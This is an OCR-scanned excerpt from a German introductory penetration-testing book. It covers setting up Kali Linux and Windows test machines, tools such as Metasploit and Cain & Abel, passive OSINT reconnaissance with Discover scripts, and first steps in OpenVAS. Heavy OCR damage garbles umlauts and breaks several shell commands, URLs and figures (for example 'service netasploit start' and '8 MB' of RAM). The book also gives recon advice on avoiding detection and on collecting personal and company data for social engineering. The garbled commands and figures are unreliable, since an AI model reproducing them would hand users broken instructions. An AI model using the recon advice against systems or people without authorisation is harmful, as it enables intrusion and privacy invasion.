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Vorwort

Vorwort

Wenn mir jemand in meiner Schulzeit prophezeit hétte, dass ich in 20 oder 30
Jahren mal ein Buch schreiben wiirde, so hétte ich ihn vermutlich spontan ausge-
lacht. Und schon gar nicht ein Fachbuch zu einem Thema wie Penetration Testing.
»,Nieim Leben“, ware vermutlich die prompte Antwort gewesen. Heute weil3 ich es
besser: Es ist anders gekommen, ganz anders sogar. In den vergangenen Jahren
sind es inzwischen weit Uber 100 Biicher geworden — langst habe ich aufgehort, zu
zéhlen.

Auch wenn ich heute routinierter an solche Projekte gehe, sind der Spal’ und die
Neugierde bel der Arbeit geblieben. Es gibt Themen, die drangen sich férmlich
auf, weill man mit dieser oder jener Software oder einem Gerét téglich in Berlh-
rung kommt, Andere ,reifen” mit der Zeit bis sie dann einen Punkt erreichen, der
formlich nach ihrer Umsetzung schreit.

Ich publizierte 2004 ein Buch zum Security Scanner Nessus 2.x. Es folgte 2008 ein
weiteres zu Version 3.x. Leider entschied sich das Nessus-Team, Ihren Scanner in
eine kommerzielle Lizenz Uberzufiihren. Aus dem anfanglichen Verlust fur die
Open Source-Gemeinde entstand mit OpenVAS ein freier Nessus-Fork, der mit
erheblicher finanzieller Unterstiitzung durch das BSI (Bundesamt fir Sicherheit in
der Informationstechnik) sich zu einem ebenbirtigen Konkurrenten zur kommer-
ziellen Nessus-Version entwickelte.

Weas hat das alles nun mit dem vorliegenden Buch zu tun? IT- und Systemadmi-
nistratoren missen heute immer komplexer werdende Infrastrukturen permanent
auf Schwachstellen und Sicherheitsllicken Uberprifen. Das Aufdecken von
Schwachstellen, das Testen der Anfalligkeit und das Schlief3en sind heute essen-
tielle administrative Aufgaben.

Fast téglich kann man in den Medien von erfolgreichen Hacker-Attacken horen.
Prominentes Opfer war im Sommer 2015 das Netzwerk des Bundestages, das —
vermeintlich aus Russland — gehackt worden sein soll. Das BSI, das fur die War-
tung und die Sicherheit dieses Netzwerks zustandig ist, blamierte sich in diesem
Zusammenhang, weil man weder in der Lage war, das Netzwerk ausreichend zu
schiitzen, noch zeitnah eine sichere Umgebung herzustellen.

Solch prominente Geschehnisse sind nur die Spitze eines Eisbergs. Tag fur Tag
werden Millionen Hacker-Attacken gefahren. Manchmal sind es nur Skript-
Kiddies, die ihre erworbenen Hacker-Fahigkeiten testen, doch die tiberwiegende
Anzahl der Attacken dirfte einen kriminellen Hintergrund haben. Oftmals geht es
um Wirtschaftsspionage.
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Vorwort

Wenn auch Sie fir die Sicherheit eines Netzwerks zustéandig sind, missen Sie
dieses kontinuierlich auf Sicherheitsllicken und sonstige Schwachstellen hin tber-
prufen. Fachleute sprechen von Penetrationstests. Sie dienen dazu, Netzwerkkom-
ponenten auf bekannte Schwéchen hin zu Gberpriifen.

lhr Ziel muss es sein, potenziellen Hackern zuvorzukommen. Das Zauberwort
lautet dabei: Waffengleichheit. Nur dann, wenn Sie wissen, wie Hacker vorgehen
und welche Tools sie dabei einsetzen, sind sie in der Lage, ihnen mit gleichen
Mitteln zu begegnen. Dabel sind Sie potenziellen Angreifern klar im Vorteil, denn
Sie kennen die kritischen Infrastrukturkomponenten, die Netzwerk-Topologie,
potenziellen Angriffspunkte, die ausgefiihrten Services und Server etc.

Um lhre eigene Infrastruktur so sicher wie méglich zu machen, missen Sie immer
und immer wieder folgende Schritte ausfihren:

1. ldentifizierung von Schwachstellen und deren Risiko.

2. Praktische Ausnutzung und Testen der Schwachstellen in einer gesicher-
ten Umgebung.

Testsin einer realen Umgebung.
Schlieffen von gefundenen Schwachstellen.

Wenn Sie bei Punkt 4 angelangt sind, fangt alles wieder von vorne an — ein perma-
nenter Kreislauf. Wenn Sie diese Schritte verinnerlichen und kontinuierlich die
Sicherheit kritischer Systeme im Blick haben, wird Ihre Umgebung mit jeder Mal3-
nahme sicherer. Das wiederum spart |hnen langfristig viel Zeit und Arger, denn Sie
geben Hackern kaum eine Chance, ihr Unwesen zu treiben.

Sie kénnen das Ganze auch sportlich betrachten und als Spiel sehen. Jeder hat
dabel seine Mittel: Mitspieler, technische Geréte und Techniken. Am Ende ist nur
wichtig, dass Sie als Sieger vom Platz gehen.

Bleibt mir nur noch, Thnen viel Spa3 und Erfolg beim Einstieg in die Welt der
Penetrationtests zu wiinschen!

Herzlichst,

Holger Reibold
(duli 2015)

www.brain-media.de



Einstieg in das Penetration Testing

1  Einstieg in das Penetration Testing

Genug der Vorrede! Sie wollen loslegen. Am liebsten jetzt direkt. Wie aber kdnnen
die ersten Schritte aussehen? Und wo soll man beginnen? Noch bevor Sie sich
Gedanken dartiber machen, welche Systeme zuerst einer Sicherheitsanalayse un-
terzogen werden, missen Sie zunachst ein Penetration Testing-System aufsetzen
und sich mit bewahrten V orgehenswei sen vertraut machen.

In der Praxis kommt dabei ein handlicher Werkzeugkasten zum Einsatz, der alle
notwendigen Tools zur Verfligung stellt. Deren Einsatz ist in der Regel langst nicht
so kompliziert, wie viele meinen. Wenn Sie die Grundtechniken drauf haben, sind
Sie bereits ein guter Penetration-Tester und kénnen sich auch an harte Nisse he-
rantrauen.

In diesem Einstieg dreht es sich zunéchst um den Werkzeugkasten, den Sie zu-
sammenstellen missen, um lhre Infrastruktursysteme auf Herz und Nieren prifen
zu kénnen. Dabei kommt Ihnen zugute, dass die besten Tools fur Penetrations-
Tester frei verfigbar sind. Wenn Sie professionell Sicherheitstests durchfiihren, so
kénnen Sie ergénzend zu dem einen oder anderen kommerziellen Werkzeug grei-
fen.

Ein kleines Problem fir Penetration-Tester ist allerdings der Umstand, dass die
meisten Tools auf Linux as Betriebssystem setzen, es aber auch einige Windows-
Programme gibt, auf die man nicht verzichten méchte. Dieses Problem kdnnen Sie
mit zwel Rechnern lésen: ein Linux- und ein Windows-Penetration Testing-
Rechner. Sie profitieren dann insbesondere davon, weil es fur unterschiedliche
Plattformen spefizische Tools gibt, die beispielsweise fur das Wiederherstellen von
Passwortern oder WLAN-SchlUissel spezialisiert sind.

Da das Hantieren mit zwei Rechnern umstandlich ist, kénnen Sie auch einen einfa-
chen Weg einschlagen und somit zwei Fliegen mit einer Klappe schlagen: Fihren
Sie ein System in einer Virtuellen Maschine aus. Sie kdnnen nach dem Einrichten
einer Penetration Testing-Umgebung diese einfach pausieren und dann bei Bedarf
fortsetzen.

Sie kdnnen sogar noch einen Schritt weiter gehen und in einer virtuellen Umge-
bung ein Linux- und ein Windows-System aufsetzen und diese dann einfach expor-
tieren und auf anderen Rechnern wieder importieren. Der Vorteil: Sie haben mit
minimalem Aufwand eine eingerichtete Testumgebung zur Verfigung, die sich
innerhalb von wenigen Minuten auch auf anderen Rechnern in Betrieb nehmen
| &sst.

Hacking kompakt
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10 Einstieg in das Penetration Testing

Damit haben Sie sozusagen eine flexible Testumgebung, die sie natiirlich auch an
neue Anforderungen anpassen und erweitern kénnen.

1.1 Die richtige Hard- und Software

Bevor Sie sich an die Auswahl geeigneter Software machen, benétigen Sie zu-
nachst einen Rechner, auf dem Sie Ihre Hacker-Werkzeuge ausfihren. Ich empfeh-
le ein modernes Notebook, damit Sie auch Gber einen WLAN-Adapter verfligen,
mit dem Sie auch die Sicherheit von Access Points prifen kdnnen. Das Notebook
sollte mit mindestens 8 MB Arbeitsspeicher ausgestattet sein. Sie sollten Uber
mindestens 500 GB freien Speicherplatz verflgen.

Ein Quad Core-Prozessor ist empfehlenswert. Fir das Social Engineering sollten
Sie aul3erdem Uber einen Flash-Speicher verfiigen. Gelegentlich ist auch ein weite-
rer externer WLAN-Adapter sinnvoll. Das sind die wesentlichen Hardware-
spezifischen Eigenschaften, die Ihr Rechner erfiillen sollte.

Kommen wir zur Software-Ausstattung. Zunéchst bendtigen Sie einen Security
Scanner. Mit diesem Tool kénnen Sie das bzw. die Zielsysteme auf existierende
Schwachstellen hin Gberpriifen. Hierfir bietet sich der freie verfiigbare OpenVAS-
Scanner an. Alternativ kénnen Sie auch zu Nessus oder Nexpose greifen. Beides
sind kommerzielle Programme, die aber in abgespeckten Versionen kostenlos fir
den Einstieg in das Security-Scannen verflgbar sind.

Tipp: FreeBooks zu Nessus OpenVAS

Zu den beiden Security-Scannern Nessus und OpenVAS stehen Uber
die Verlags-Website jeweils umfangreiche E-Books zum Download zur
Verfiigung. Sie finden die beiden Bicher im FreeBooks-Bereich von
Brain-Media.de (http://www.brain-media.de/freebooks.html).

Wenn Sie Web-Applikationen unter die Lupe nehmen wollen, so ist der Einsatz
eines gpeziellen Web Application Scanners wie der Burp Suite
(http://portswigger.net/burp/) sinnvoll. Auch hierbei handelt es sich um ein kom-
merzielles Produkt. Allerdings ist in Kali Linux, das Sie im nachsten Abschnitt
kennenlernen, in einer einfachen, abgespeckten Fassung enthalten. Das Herzstiick
Ihres Penetration Testing-Systems bildet Kali Linux (https://mww.kali.org). Dabei
handelt es sich um eine vollsténdig auf Debian basierte Linux-Distribution, die
nahezu ale (und das meine ich so, wie ich es schreibe) relevante Werkzeuge fir
Sie bereitstellt.

www.brain-media.de



Dierichtige Hard- und Software 11

Sie werden nicht schlecht staunen: Kali Linux enthalt Gber 300 Hilfsmittel, mit
denen Sie die Sicherheit von Computersystemen priifen und bewerten kénnen. Sie
kdnnen diese Tools auch unter anderen Linux-Distributionen einsetzen, manche
auch unter Windows.
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Ein erster Blick auf Kali Linux und die Top 10-Sicher heitsprogramme.

Im Unterschied zur Einzelinstallationen sind die Tools in Kali Linux bestens auf-
einander abgestimmt und verfligen Uber angepasste und modifizierte Treiber, so
bei spielsweise fur aircrack-ng.

Laut Angaben des Kali Linux-Teams werden die Programme viermal taglich aus
dem Debian-Repository bezogen. Somit ist sichergestellt, dass die Anwender von
Kali Uber eine solide Software-Basis mit den neuesten Sicherheits-Updates verfi-
gen.

Von den in Kali Linux enthaltenen Programmen sollen hier fir den Moment nur
€inige wichtige genannt werden:

Hacking kompakt
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OpenVAS: Der einzige freie Security Scanner, der professionellen An-
spriichen genigt.

Maltego: Dieses Programm dient dazu, Daten Uber Einzelpersonen oder
Unternehmen im Internet zu sammeln.

Kismet: Hierbei handelt es sich um einen passiven Sniffer zur Untersu-
chung von lokalen Funknetzen.

Social-Engineer Toolkit (SET): In diesem Paket sind verschiedene Prog-
ramme flr Penetrationstests mit dem Schwerpunkt auf Social Engineering
enthalten.

Nmap: Der bekannte Netzwerkscanner zur Analyse von Netzwerken ist in
Kali Linux enthalten, auch die grafische Nmap-Benutzeroberflache Zen-

map.

Wireshark: Der Klassiker unter den grafischen Netzwerksniffern ist in
diesem System enthalten.

Ettercap: Hierbei handelt es sich um ein Netzwerkmanipul ationstool, mit
dem Sie beispielsweise einen Man-in-the-middle-Angriff durchfihren
konnen.

John the Ripper: Dieses Tool dient dem Knacken und Testen von Pass-
waortern.

Metasploit: Der Klassiker fir das Testen und Entwickeln von Exploits
auf Zielsystemen. Mit eines der wichtigsten Werkzeuge fir Penetration-
tester.

Aircrack-ng: Hierbel handelt es sich um eine Tool-Sammlung, mit der
Sie Schwachstellen in WLANSs analysieren und ausnutzen kdnnen.

Nemesis: Diesist ein Paketfa scher fir Netzwerke.

RainbowCrack: Mit diesem Programm steht I|hnen ein Cracker fir LAN-
Manager-Hashes zur Verfiigung.

Neben dieser kleinen Auswahl enthalt die Spezial-Distribution jede Menge weitere
interessante Werkzeuge. Die vermeintlich am haufigsten eingesetzten und wich-
tigsten Programme sind im Untermeni Top 10 Security Tools zusammengefasst.
Bevor wir in die praktische Verwendung von Kali Linux einsteigen, sollten Sie
noch rudimentér mit der rechtlichen Lage vertraut sein. Beim Einsatz von Kali
Linux greift der sogenannte Hacker-Paragraph, § 202c StGB, der Ende Mai 2007
in Kraft getreten ist.

www.brain-media.de



Dierichtige Hard- und Software 13

Danach enthdlt Kali Linux Programme, die teilweise Sicherheitsvorkehrungen
umgehen kdnnen und als Computerprogramme zum Ausspdhen von Daten aufge-
fasst werden. Aufgrund dieser Gesetzesage kann bereits der Besitz oder Vertrieb
strafbar sein, sofern die Absicht zu einer rechtswidrigen Nutzung nach § 202a
StGB (Ausspdhen von Daten) oder § 202b StGB (Abfangen von Daten) besteht.
Damit ist klar: Sie dirfen Kali Linux nur dann zur Analyse von Infrastrukturen in
Teilen bzw. Komponenten verwenden, fur die Sie eine explizite Erlaubnis besitzen.

1.1.1 Kali Linux in Betrieb nehmen

Die Inbetriebnahme von Kali Linux ist wirklich einfach. Auf der Projekt-Site ste-
hen fir die verschiedenen Plattformen 1SO-Images bereit, die Sie as Vollsystem
installieren oder mit denen Sie eine Virtuelle Maschine (VM) einrichten kénnen.
Fur den Betrieb von Kali Linux in einer VM benétigen Sie lediglich eine geeignete
Host-Software. Hier bietet sich der Einsatz des ebenfalls freien VirtualBox
(http://wwww.virtualbox.org) an. Auch diese Umgebung ist fur alle wichtigen Platt-
formen verflgbar.
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Kali Linux lasst sich besonders einfach alsVM unter VirtulBox ausfihren.
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14 Einstieg in das Penetration Testing

Das Beste dabei: Wenn Sie (ber ein ausreichend flottes Notebook verfligen, kon-
nen Sie auf einer VM Kali Linux und auf einer weiteren eine Windows-Installation
mit entsprechenden Werkzeugen betreiben. Ein weiterer Vorteil: Sie kbnnen die
beiden VM parallel betreiben und dabei je nach Bedarf zwischen den beiden Platt-
formen hin- und herswitchen.

Unter Penetrationtestern erfreuen sich MacBooks wegen der hohen Stabilitét gro-
Ber Beliebtheit. Sie kénnen VirtualBox auch auf einem Mac OS X-Notebook be-
treiben und dort Kali Linux und eine Windows-Installation einrichten. Auch hier
ist wieder ein problemloses Switchen zwischen den beiden verschiedenen Platt-
formen mdglich.

Ob Sie nun Kali Linux auf einem eigenen Rechner oder ,,nur in einer VM ausfiih-
ren, spielt flr das weitere Vorgehen keine Rolle. Wichtiger ist vielmehr, dass Sie
als Nachstes gewisse Anpassungen an der Kali Linux-Installation vornehmen. Bei
der Installation haben Sie fur Root ein Passwort angelegt. Dieses kdnnen Sie Uber
Terminal leicht &ndern, in dem Sie folgenden Befehl verwenden:

passwd

Auf der Konsolenebene geben Sie das neue Passwort ein und bestétigen die Ande-
rung.

reot kall: ~

Jater Leara Suchen  Tarminzl  Hilts

Nach der Installation sollten Sie das Passwort
lhrer Kali Linux-Installation andern.

www.brain-media.de



Dierichtige Hard- und Software 15

Auch dann, wenn Sie ein aktuelles 1SO-Image heruntergeladen und installiert ha-
ben, kénnen sich sozusagen Uber Nacht kritische Funktionen gedndert haben. Sie
sollten daher ein Update Ihrer Installation ausfuhren. Dazu fuhren Sie die beiden
folgenden Befehle aus:

apt - get update
apt - get dist-upgrade

Dem Upgrade missen Sie explizit zustimmen, weil hier je nach Kali Linux-
Installation meist mehrere Hundert M egabyte heruntergeladen werden miissen.

Wie wir spéter noch sehen werden, ist Metasploit ein essentielles Werkzeug, ohne
das kaum etwas beim Penetration Testing geht. Metasploit liefert ihnen Informa-
tionen Uber Sicherheitsliicken und wird Ublicherweise bei Penetrationstests sowie
der Entwicklung von IDS-Signaturen eingesetzt.

Da Metasploit seine Daten in einer PostgreSQL -Datenbank speichert, miissen Sie
als Néchstes die Datenbank einrichten und beide als Service anlegen. Hierzu fuh-
ren Sie die beiden folgenden Kommandos aus:

servi ce postgresql start

service netasploit start

Erganzend kann es sinnvoll sein, die Metasploit-Aktivitéten zu loggen, aso zu
protokollieren. Auch hierzu greifen Sie wieder zur Konsole:

echo “spool/root/msf_console.log”“ > /root/.msf4/msfconsole.rc

Das Ergebnis dieses Befehls: Die Daten werden in der Datei /root/msf_console.log
aufgezeichnet. Die Protokolldateien von Metasploit werden sehr schnell sehr grof3.
Das gilt es beim Aktivieren der Protokollfunktion zu beachten.

Der néchste Schritt dient der Installation der sogenannten Discover Scripts, die
vorher als Backtrack-Skripts bezeichnet wurden. Diese Skripts kdnnen verschiede-
ne Penetrationstests fir Sie durchfiihren. Zur Installation fuhren Sie folgenden
Befehl aus:

git clone git://github.confleebaird/discover.git
[opt/scripts/

Hacking kompakt
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Um die Skripts zu installieren, wechseln Sie in das Skript-Verzeichnis und fuhren
das Installationsprogramm aus:

cd /opt/discover/

./ setup. sh

Bel der Installation wird auch eine FileZilla-Installation (FTP-Server) auf lhrem
System eingerichtet.

Die Verwendung des Skriptsist recht einfach. Filhren Sie folgenden Befehl aus:

./ di scover. sh

Wir kommen gleich auf die Verwendung dieses Tools zu Testzwecken zu spre-
chen. Fir den Moment soll die Installation dieser zusétzlichen Tools gentigen.
Sollten wir im Laufe dieses Buchs weitere Tools benttigen, so wird deren Installa-
tion dann beschrieben, wenn das Programm benétigt wird.

1.1.2 Windows als Penetration-Plattform

Kali Linux stellt Thnen eine schier uniiberschaubare Vielfalt an Programmen zur
Verfligung, deren Stérken inshesondere in der Analyse von Linux-basierten Kom-
ponenten und Diensten liegen. Aber manchmal hat man Windows-spezifische
Aufgaben zu l6sen.
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Mit Cain & Abel kdnnen Sie verlorene Passwérter zurickgewinnen,
indem Sie das Netzwerk scanen, ver schlisselte Passworter knacken
und Protokolle analysieren.

Sie sollten daher auf IThrem Windows-System folgende Tools installieren:
Metasploit
Nessus bzw. Nexpose
Cain & Abel
Nmap fir Windows
PowerSploit

Firefox-Add-ons (Web Developer, Tamper Data, Foxy Proxy und User
Agent Switcher)

Wireshark
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Wenn Sie sich nicht in den Security Scanner OpenVAS einarbeiten wollen, so
koénnen Sie die Zielsysteme besonders komfortabel mit den beiden Scannern Nes-
sus und Nexpose analysieren. Beide sind in eingeschrankten Versionen verfiigbar,
die allerdings nur eine bestimmte Anzahl an Hosts prifen kénnen. Ich habe sehr
gute Erfahrungen mit Nessus  (http://www.tenable.com/products/nessus-
vulnerability-scanner) gemacht. Dieser Scanner in in einer kostenlosen Home-
Version verflgbar, die allerdings auf 16 | P-Adressen beschrénkt ist.

P Nessus
Scary Library
Scans ' All Scanner
Advanced Scan FAudit Cloud Infra} Bash Shelishock Detection Basic Network Scan
A ® =N O\
GHOST (glibe) Detertlan Host Dizeavery Internal PC1 Metwark Sean Mablle Devlea £e2n
—\ E\ E\ ®

PCI Quartarly External San Folicy Compliance Auditing SCAP and QVAL Auditing Web Application Teis

Nessus Home erlaubt den komfortablen Einstieg in das Security Scanning.

1.2 Sammeln von Informationen

Bevor Sie sich nun an die Analyse eines ersten Systems machen, missen Sie zu-
nachst einige Informationen Uber das Ziel sammeln. Sie missen Ihre Gegenuber
kennenlernen und analysieren. Je mehr Sie Uiber das Zielsystem in Erfahrung brin-
gen kénnen, umso besser.

Das Kennenlernen des Gegenilbers ist ein erster Schritt fir ein erfolgreiches Pene-
trationtesting. Dieser Schritt ist nicht mit dem eigentlichen Testen zu verwechseln,
sondern dient in erster Linie dazu, sich ein Bild des Ziels zu verschaffen. Und je
konkreter das ist, umso einfacher werden die Folgeschritte.
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Um Informationen Uber ein oder mehrere Ziele zu sammeln, mussen Sie dieses
bzw. diese mit einem Netzwerkscanner analysieren. Es wirde den Rahmen dieses
Buches sprengen, wollte man die verschiedenen Scanner vorstellen und deren
praktische Verwendung detailliert beschreiben. Man unterscheidet insbesondere
zwischen Netzwerk- und Security-Scannern. Auf3erdem gibt es spezielle Scanner
wie SNMP- und Web Application Scanner mit sehr spezifischen Aufgaben.

Zu unterscheiden ist in diesem Zusammenhang auch, aus welcher Perspektive die
Anayse erfolgt: die kann von auRen oder von innerhalb des Netzwerks erfolgen.
Sie kdnnen ein Netzwerk oder Teile davon von innerhalb des Netzwerks untersu-
chen. Alternativ kann die Analyse von auf3en erfolgen. Die externe Perspektive ist
mit der des potenziellen Angreifers vergleichbar, der sich zunéchst daran macht, so
viel wie moglich Uber das bzw. die Zielsysteme zu erfahren. Haufig wird auch
zwischen aktivem und passivem Sammeln von I nformationen unterschieden.

Fur den Einstieg bietet es sich an, mit dem passiven Aufdecken von Informationen
Uber das Ziel, das Netzwerk, die Clients und weitere Komponenten zu beginnen.
Der Vorteil dabei: Die Gegenseite bekommt von Ihren Aktionen nichts mit und es
werden keinerlel Warnungen oder Hinweise ausgegeben, dass Sie sich fir ein be-
stimmtes System interessieren. Dabei konnen Sie im Verborgenen Ihre Vorberei-
tungen fir das zielgenaue Testen treffen.

Wenn Sie Gliick haben, kdnnen Sie bereits mit Google und einer weiteren Such-
maschine Schwachstellen von etwaigen Zielsystemen identifizieren. Der Amerika-
ner John Matherly hat mit Shodan (https://www.shodan.io) eine Suchmaschine
aufgebaut, die das Google fur die Hacker werden kdnnte. Die Suchmaschine in-
dexiert Computerhardware von Webservern und deren verwendete Kommunikati-
ons-Software und Protokolle. Sie kdnnen diese Informationen dazu verwenden,
I hre Suche nach Sicherheitdl licken einzugrenzen.

Doch auch Kali Linux l&sst Sie bei der passiven Suche nicht alleine — im Gegen-
teil. Ein weiteres Tool haben wir bereits oben manuell installiert: die Discover
Scripts. Kali stellt Ihnen Uber das Menti Anwendungen > Kali Linux die unzéhligen
Programme und Tools zur Verfiigung. Im Untermeni Informationsbeschaffung >
Open Source Intelligence (OSINT) Analyse finden Sie neun weitere Tools fir die
passive I nformationsbeschaffung.
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Die Toolsfir die passive |nformationsbeschaffung.

In der Praxis zeigt sich, dass Sie mit diesen Tools zwar auch jede Menge Informa-
tionen zusammentragen koénnen, aber es geht auch deutlich einfacher: Mit den
bereits mehrfach erwéhnten Discover Scripts steht 1hnen ein Werkzeug zur Verfi-
gung, das sozusagen die Funktionen der OSINT-Werkzeuge in einem Skript bin-
delt.

Die Discover Scripts automatisieren die Suche nach verschiedenen Informationen
in einem Programm. Sie kénnen damit bei spielsweise nach Personen innerhalb von
Organisationen oder Verzeichnissen wie Linkedin durchforsten.

Wie Sie die Discover Scripts starten, wissen Sie bereits. Wechseln Sie zunéachst in
den Ordner /opt/discover und fuihren Sie dort folgenden Befehl aus:

./ di scover. sh
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root@kali: Jopt/discover

k

| Date Bearbeten Ansicht 5Suchen lermnal Hilfe
RECON
1 main

', Range or LRI

multiple tahs ir Tn

Melasploil lislener

Die Startseite des Discover Scripts.

Um Informationen tber eine Domain abzurufen, betétigen Sie die 1, fur personen-
bezogene Informationen die 2. Wenn Sie sich fiir die Domain-Informationen ent-
scheiden, haben Sie im Folgedialog die Wahl zwischen aktivem und passivem
Informationssammeln. Da wir zu diesem frithen Zeitpunkt keinen Staub aufwirbeln
wollen, betétigen wird die 1 fiir den passiven Modus.

Als Néchstes geben Sie den Namen des Ziels/'Unternehmens und die Domain an.
Anschlielend beginnen die Skripts im Hintergrund damit, Informationen zu sam-
meln. Wie Sie auf der Konsole verfolgen kénnen, werden verschiedene Skripts
ausgefuhrt:

dnsrecon
goofile
goog-mail
goohost
theHarverster

Metasploit
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URL Crazy

Whois

dnssy.com
ewhois.com
myipneighbors.com

urlvoid.com

Sobald der Scan abgeschlossen ist, gibt Discover Scripts eine Erfolgsmeldung aus:

*** Scan conplete ***

Sie erfahren aul3erdem, dass das Tool die gesammelten Inforamtionen in das Ver-
zeichnis /root/data/domainname/ geschrieben hat. In diesem Verzeichnis finden
Sie eine Index-Datei, die Sie im Browser 6ffnen kénnen und die die Ergebnisse der
Informationsrecherche zusammenfasst.

Betétigen Sie als Néchstes die Return-Taste, um die Originalquelle aufzurufen, die
von den verschiedenen Skripts abgerufen wurden. Je nach Domain kann diese erste
Recherche Ihnen verschiedene Informationen Uber Domains, | P-Adressen, Dateien,
E-Mail-Adressen, WHOIS-Datenbankeintrdgen etc. liefern. Sie kdnnen oftmals
Informationen Uber Sub-Domains und IP-Adressen sammeln, die auf den ersten
Blick nicht ersichtlich sind. Diese Daten kénnen Sie dann beispielsweise fur das
Social Engineering verwenden.

Besonders bequem ist auch die Auswertung des lokalen HTML-basieren Berichts.
Der stellt IThnen die Ergebnisse Uber ein eigenes Navigationssystem, das lhnen den
Zugriff auf die verschiedenen Ergebnisse leicht macht. Uber Reports > Passive
Recon kénnen Sie beispielsweise die Zusammenfassung der passiven Tests abru-
fen.

Interessante Informationen kénnen Sie auch den Meni Files entnehmen. [ nsbeson-
dere die PDF-Dokumente haben es oft in sich, weil hier immer wieder kritische
Informationen zu finden sind. Dabel kdnnen Sie auch die Google Hacking Databa-
se (https://mww.exploit-db.convgoogle-hacking-database/) konsultieren. Dort fin-
den Sie unter anderem sensitive Dokumente von Unternehmen.

Meist kommen Sie bereits mit den Informationen, die Ihnen die Discover Scripts
bieten, recht weit. Sollte Ihnen das noch nicht gentigen, verfigt Kali Linux mit
Recon-ng Uber einen weiteren Spezialisten fur die | nformationsbeschaffung.
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Waéhrend Sie mit dem passiven Scannen zunachst mehr oder minder viele Informa-
tionen Uber ein Unternehmen, eine Person und auch zumindest teilweise Uber eine
Infrastruktur sammeln kdnnen, bendtigen Sie als Néchstes handfeste I nformationen
Uber Server, Dienst, Netzwerkkomponenten, potenzielle Verwundbarkeiten etc.
Die bekommen Sie nur durch das aktive Erkennen. Besonders wichtig ist dabei,
dass Sie mit den optimalen Werkzeugen arbeiten.

Sie sollten sich insbesondere mit der Funktionsweise von sogenannten Security
Scannern ausei nandersetzen. Sie kdnnen dabel auf die abgespeckten Versionen von
Nessus und Nexpose oder aber zu dem in Kali Linux integrierten OpenVAS-
Scanner greifen.

Wenn Sie noch nie mit einem solchen Werkzeug gearbeitet haben bzw. bislang
noch wenig Erfahrung damit gesammelt haben, sollten Sie sich zundchst auf die
Analyse von lokalen Komponenten beschrénken, die keine produktiven Dienste
bereitstellen. Security Scanner erzeugen in der Regel betréchtlichen Traffic und
werden bei professionell geschiitzten Computernetzwerken meist von sogenannten
Intrusion Detection-Systemen (IDS) erkannt und es werden dann entsprechende
Warnungen ausgegeben.
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2 Schwachstellen aufdecken

Um ein (internes) Netzwerk einer eingehenden Analyse zu unterziehen, bendtigen
Sie zundchst einen Scanner. Am einfachsten greifen zu dem in Kali Linux inte-
grierten OpenVAS. Der Security Scanner bietet alles, was Sie fir das Scannen von
ganzen Netzwerken benétigen.

Zunéchst miissen Sie den Scanner alerdings einrichten. Dazu fuhren Sie den Me-
nibefehl Anwendungen > Kali Linux > Schwachstellenanalyse > OpenVAS >
openvas initial setup aus. Sie sollten anschlief3end eine Update-Priifung durch und
die sogenannten Feeds aktualisieren. Feeds sind die Test-Skripts, die die Ziele auf
potenzielle Schwachstellen hin untersuchen.

2.1 Security Scanner im Einsatz

Nach dem Setup, dem Setup-Check und dem Feed-Update greifen Sie mit einem
Browser auf die Webschnittstelle von OpenVAS zu: den Greenbone Security As-
sistant (GSA). Der Zugriff erfolgt Uber diese URL:

https://127.0.0.1: 9392

Automatisch meldet sich der Login-Dialog, in dem Sie die Zugangsdaten fir
OpenVAS angegeben. Die kénnen Sie Ubrigens einfach jederzeit mit folgendem
Befehl andern:

openvasnd --user=adnm n --new passwor d=neues_passwort

Beim GSA handelt es sich um ein webbasiertes Tool, Uber das Sie alle wichtigen
Aufgaben bei der Durchfiihrung Ihrer Sicherheitschecks durchfiihren kénnen.
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Ein erster Blick auf den Greenbone Security Assistant.

Der Greenbone Security Assistant stellt Thnen einen Webserver und damit eine
webbasierte Schnittstelle zur Verfligung, tber die alle wichtigen Aktionen fur die
Durchfiihrung Ihrer Scans mdglich sind. Der Webserver wurde mit libmicrohttpd
(http://wwww.gnu.org/software/libmicrohttpd/) realisiert. Der vielleicht wichtigste
Vorteil: Selbst weniger technisch versiertes Personal oder das Management kénnen
spezielle Priifungen durchfihren.

Mit GSA konnen Sie mit wenigen Mausklicks PDF-, HTML- und XML-Exporte
von den Berichten erstellen. Eine weitere Besonderheit: Der GSA zeigt auf einfa-
che Weise den Sicherheitsstatus und dessen Trend an.

Mit dem GSA steht lhnen eine komfortable Steuereinheit fir das OpenVAS-
System zur Verflgung. Sie missen Benutzer nicht mehr auf der Kommandozeile
anlegen, sondern kdnnen das bequem aus der GUI heraus erledigen. Fur den Ein-
satz spricht auBerdem, dass Sie Scans zeitlich steuern kénnen. Auch der automati-
sche Versand einer Mail ist méglich, wenn ein Scan den Status éndert.

Die Funktionen des Bereichs Scan-Management dienen in erster Linie dem Erstel-
len und der Verwaltung von Scan-Auftrdgen. Beim Zugriff auf den GSA présen-
tiert Ihnen das Tool standardméRig die Task-Ubersicht. Zu jeder Aufgabe werden
die Bezeichnung, der Status, die Berichte, die Threads, die Trends und verfligbare
Aktionen aufgefihrt.
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2.2 Ein erster Sicherheitscheck

Um eine erste Aufgabe anzulegen, verwenden Sie den Task Wizard und spezifizie-
ren in dem zugehérigen Dialog die Eigenschaften:

Name: Die Bezeichnung der Aufgabe.
Comment: Hier hinterlegen Sie einen optionalen Kommentar.

Scan Config: Mit diesem Auswahimenii wahlen Sie die gewinschte
Scan-Konfiguration aus. Sie haben die Wahl zwischen verschiedenen
vorbereiteten Varianten, die Sie unter Configuration > Scan Configs ein-
sehen, bearbeiten und neu anlegen kénnen:

0 Full and fast

Full and fast ultimate

Full and very deep

Full and very deep ultimate
I T-Grundschutz Scan
empty

O O O o o

Scan Targets: Dieses Auswahimenii erlaubt Thnen die Auswahl der zu
untersuchenden Ziele. Dabei stehen Ihnen die unter Configuration > Tar-
gets angelegten Ziele zur Auswahl.

Schedule: Dieses Auswahlment erlaubt die Wahl von Zeitplénen fur die
zeitliche Steuerung des Scan-Vorgangs. Sie milssen ebenfalls zuerst ange-
legt werden.

Um die erste Aufgabe zu speichern, klicken Sie auf die Schaltfléche Save task. Sie
landen automatisch in der Task-Ubersicht. Dort zeigt Ihnen die Tabelle an, ob es
sich um einen neuen oder bereits ausgeflhrten Scan handelt. Bel Letzterem finden
Sie in der Spalte Reports die Berichtanzahl und kénnen Uber den Anzahl bzw.
Datum-Link auf die Berichtergebnisse zugreifen.

In der Spalte Threat prasentiert 1hnen die Task-Ubersicht die Gefahreneinschét-
zung. Auch hier kommen Farben zur Kennzeichnung der Bewertung zum Einsatz.
Uber die Actions-Spalte konnen Sie die Ausgabe starten, anhalten, beenden, die
Details abrufen und die Aufgabe editieren.
